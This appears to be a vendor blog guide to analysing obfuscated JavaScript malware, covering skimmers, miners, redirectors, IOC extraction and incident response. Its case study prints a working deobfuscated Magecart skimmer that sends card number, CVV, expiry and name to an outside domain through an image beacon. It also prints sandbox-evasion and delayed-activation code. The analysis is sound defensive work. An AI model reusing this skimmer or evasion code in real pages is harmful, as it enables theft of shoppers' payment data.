Back to Blog
Use Cases

Analyzing JavaScript Malware Through Deobfuscation: A Practical Guide

Master JavaScript malware analysis techniques including web skimmer detection, Magecart campaign dissection, and IOC extraction from obfuscated malicious code.

Astify Team·2024-12-12·14 min read
#malware#analysis#security#magecart#incident-response

The JavaScript Malware Threat Landscape

JavaScript has become the delivery mechanism of choice for web-based attacks. Its ubiquity in browsers, ability to execute without installation, and the ease of injecting malicious code into legitimate websites make it an ideal vector for threat actors. JavaScript-based attacks account for over 70% of client-side security incidents, with Magecart-style web skimmers leading the charge.

Understanding JavaScript malware requires the ability to read obfuscated code. Every serious malware campaign uses multiple layers of obfuscation to evade detection. This guide covers the complete methodology for analyzing JavaScript malware through deobfuscation.

Types of JavaScript Malware

Web Skimmers (Magecart)

Web skimmers are the most financially damaging form of JavaScript malware. These scripts inject themselves into e-commerce checkout pages to steal payment card data in real-time.

Key characteristics:

  • Target specific form fields (credit card numbers, CVV, expiration dates)
  • Use multiple exfiltration methods (image pixels, fetch requests, WebSocket connections)
  • Employ environment detection to avoid sandbox execution
  • Include persistence mechanisms that re-inject the skimmer if removed
  • Mimic legitimate analytics or payment processing scripts

Cryptominers

Browser-based cryptocurrency miners hijack visitor CPU resources:

  • Throttle CPU usage to avoid detection (typically 30-60% utilization)
  • Use WebAssembly for higher mining performance
  • Operate through service workers for persistence across page navigations
  • Distribute mining load across multiple domains

Redirectors and Traffic Distribution Systems

Redirectors intercept user navigation to send visitors to malicious destinations:

  • Conditional redirection based on user agent, geolocation, referrer, and time of day
  • Cloaking that shows normal content to security crawlers
  • Cookie-based visitor tracking to avoid redirecting the same user twice
  • Domain generation algorithms (DGA) for redirect target selection

Keyloggers

JavaScript keyloggers capture keystrokes on compromised pages:

  • Target specific input fields rather than logging all keystrokes
  • Capture clipboard paste events for password manager detection
  • Record form submissions even when the user does not complete the transaction
  • Monitor virtual keyboard interactions on mobile devices

Phishing Kits

Phishing kits use JavaScript to create convincing replicas of legitimate login pages:

  • Dynamic branding based on the target
  • Credential harvesting and real-time validation
  • Two-factor authentication relay attacks
  • Session token capture for account takeover

How Malware Hides in Obfuscated Code

Multi-Layer Encoding

Malware often stacks multiple obfuscation layers:

1// Layer 1: Hex-encoded string containing Base64
2var _0x1a = '\x5a\x58\x5a\x68\x62\x43\x67\x6e';
3// Decodes to: 'ZXZhbCgn'
4
5// Layer 2: Base64 decoding reveals dynamic code
6// execution wrapper
7
8// Layer 3: The dynamically loaded string contains
9// the actual payload, itself obfuscated with a
10// different technique

Environment-Aware Execution

Sophisticated malware checks its execution environment:

1// Deobfuscated anti-analysis checks
2function isSafeToExecute() {
3  // Check for automated analysis tools
4  if (window.callPhantom || window._phantom) return false;
5  if (window.__nightmare) return false;
6  if (navigator.webdriver) return false;
7
8  // Check for debugging
9  const start = performance.now();
10  debugger;
11  if (performance.now() - start > 100) return false;
12
13  // Check for virtual machine indicators
14  if (screen.width < 800 || screen.height < 600) return false;
15  if (navigator.hardwareConcurrency < 2) return false;
16
17  // Geographic targeting
18  const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
19  const targetZones = ['America/New_York', 'America/Chicago',
20                       'America/Los_Angeles'];
21  if (!targetZones.includes(timezone)) return false;
22
23  return true;
24}

Delayed Activation

Malware frequently delays execution to evade sandbox analysis:

1// Deobfuscated delayed activation pattern
2let interactionCount = 0;
3let hasScrolled = false;
4let timeOnPage = 0;
5
6const timer = setInterval(() => { timeOnPage++; }, 1000);
7document.addEventListener('click', () => { interactionCount++; });
8document.addEventListener('scroll', () => { hasScrolled = true; });
9
10function checkActivation() {
11  if (interactionCount >= 3 && hasScrolled && timeOnPage >= 30) {
12    clearInterval(timer);
13    activatePayload();
14  } else {
15    setTimeout(checkActivation, 5000);
16  }
17}
18setTimeout(checkActivation, 10000);

Malware Analysis Methodology

Step 1: Safe Sample Acquisition

Obtain the malicious JavaScript without executing it:

  • Network capture: Use a proxy tool to capture scripts during controlled browsing
  • Source code review: Download scripts using curl or wget
  • Malware repositories: Obtain samples from MalwareBazaar, VirusTotal, or URLhaus
  • Incident response: Extract scripts from browser cache, server logs, or CDN storage

Step 2: Initial Triage

  • Calculate file hashes (MD5, SHA-256) for identification
  • Check file size and structure
  • Search for known signatures against malware databases
  • Identify the obfuscation technique at a high level

Step 3: Deobfuscation

Upload the obfuscated sample to Astify. For malware samples, pay attention to:

  • String decryption results: Decrypted strings reveal C2 URLs and exfiltration endpoints
  • Control flow restoration: Reveals the malware's decision logic
  • Dead code removal: Makes the real payload stand out

Step 4: Static Analysis

IOC Extraction

1// Common IOCs found in deobfuscated web skimmers
2
3// C2 URLs for data exfiltration
4const exfilEndpoint = 'https://cdn-analytics.malicious-domain.com/collect';
5const backupEndpoint = 'https://static.backup-domain.com/pixel.gif';
6
7// Targeted form selectors reveal intent
8const targetSelectors = [
9  'input[name="cc-number"]',
10  'input[name="card-number"]',
11  'input[autocomplete="cc-number"]',
12  '#payment-card-number',
13  '.credit-card-input',
14  'input[data-checkout="cardNumber"]'
15];
16
17// Exfiltration encoding
18function encodeData(data) {
19  const key = 'MaGeC4rT_2024';
20  return btoa(xorEncrypt(JSON.stringify(data), key));
21}

Behavioral Mapping

  1. Environment detection and anti-analysis checks
  2. Payload activation conditions
  3. Data collection scope
  4. Exfiltration method
  5. Persistence mechanism
  6. Error handling and fallback behavior

Step 5: Dynamic Analysis in Sandbox

  • Use an isolated virtual machine or browser sandbox
  • Monitor all network requests to identify C2 communication
  • Track DOM modifications to understand injection behavior
  • Log cookie and storage operations
  • Capture any downloaded secondary payloads

Step 6: Documentation and Reporting

  • Executive summary of the threat
  • Technical IOCs in machine-readable format
  • Complete behavioral analysis with code references
  • Timeline of the attack
  • Recommended remediation steps
  • Detection signatures for security tools

Case Study: Magecart Web Skimmer Campaign

Discovery

A customer reported unauthorized charges after purchasing from a compromised retailer. The security team identified a suspicious script loaded from a typosquatting domain mimicking a legitimate CDN.

Obfuscated Payload (Before)

1var _0x3f4a=['push','shift','\x63\x61\x72\x64',
2'querySelector','\x69\x6e\x70\x75\x74','value',
3'\x66\x65\x74\x63\x68'];
4(function(_0x2d8f,_0x3f4b){var _0x55c1=function(_0x2a31){
5  while(--_0x2a31){_0x2d8f['push'](_0x2d8f['shift']());}
6};_0x55c1(++_0x3f4b);}(_0x3f4a,0x1a3));
7// ... 46KB more ...

Deobfuscated Payload (After Astify)

1// Payment form monitoring
2function monitorPaymentForm() {
3  const cardInput = document.querySelector(
4    'input[name="cardnumber"], input[name="cc-number"]'
5  );
6  if (!cardInput) {
7    setTimeout(monitorPaymentForm, 500);
8    return;
9  }
10
11  const form = cardInput.closest('form');
12  form.addEventListener('submit', function() {
13    const cardData = {
14      number: form.querySelector('[name*="card"]').value,
15      expiry: form.querySelector('[name*="expir"]').value,
16      cvv: form.querySelector('[name*="cvv"]').value,
17      name: form.querySelector('[name*="name"]').value
18    };
19
20    // Exfiltrate via image beacon
21    const encoded = btoa(JSON.stringify(cardData));
22    new Image().src =
23      'https://cdn-gstatic.com/collect?d=' + encoded;
24  });
25}
26
27if (window.location.href.match(/checkout|payment|pay/i)) {
28  monitorPaymentForm();
29}

Extracted IOCs

  • Domain: cdn-gstatic.com (typosquatting)
  • Exfiltration URL: https://cdn-gstatic.com/collect
  • Injection method: Compromised third-party tag manager
  • Target: Payment forms on checkout pages
  • Data captured: Card number, expiry, CVV, cardholder name

Deobfuscation for Incident Response

Scoping the Incident

Deobfuscation reveals exactly what data was compromised, impacting breach notification requirements, regulatory reporting, and customer communication.

Containment

  • Identify all injection points
  • Determine backup loading mechanisms
  • Check for time-based reactivation or fallback domains

Eradication

  • Remove all instances of the malicious code
  • Patch the vulnerability that allowed injection
  • Rotate any exposed credentials
  • Update CSP and SRI hashes to prevent reinjection

Building Your Malware Analysis Lab

  • Isolated analysis VM: Snapshot-capable virtual machine for dynamic analysis
  • Network monitoring: Wireshark or mitmproxy for capturing communications
  • Astify account: For automated deobfuscation of complex samples
  • Browser dev tools: For DOM and network inspection
  • Documentation tools: For structured analysis reports and IOC feeds

JavaScript malware analysis is a critical skill for modern security teams. With Astify handling the deobfuscation complexity, analysts can focus on understanding behavior, extracting intelligence, and protecting their organizations.

Try Astify Today

Experience AI-powered JavaScript deobfuscation in seconds

Start Deobfuscating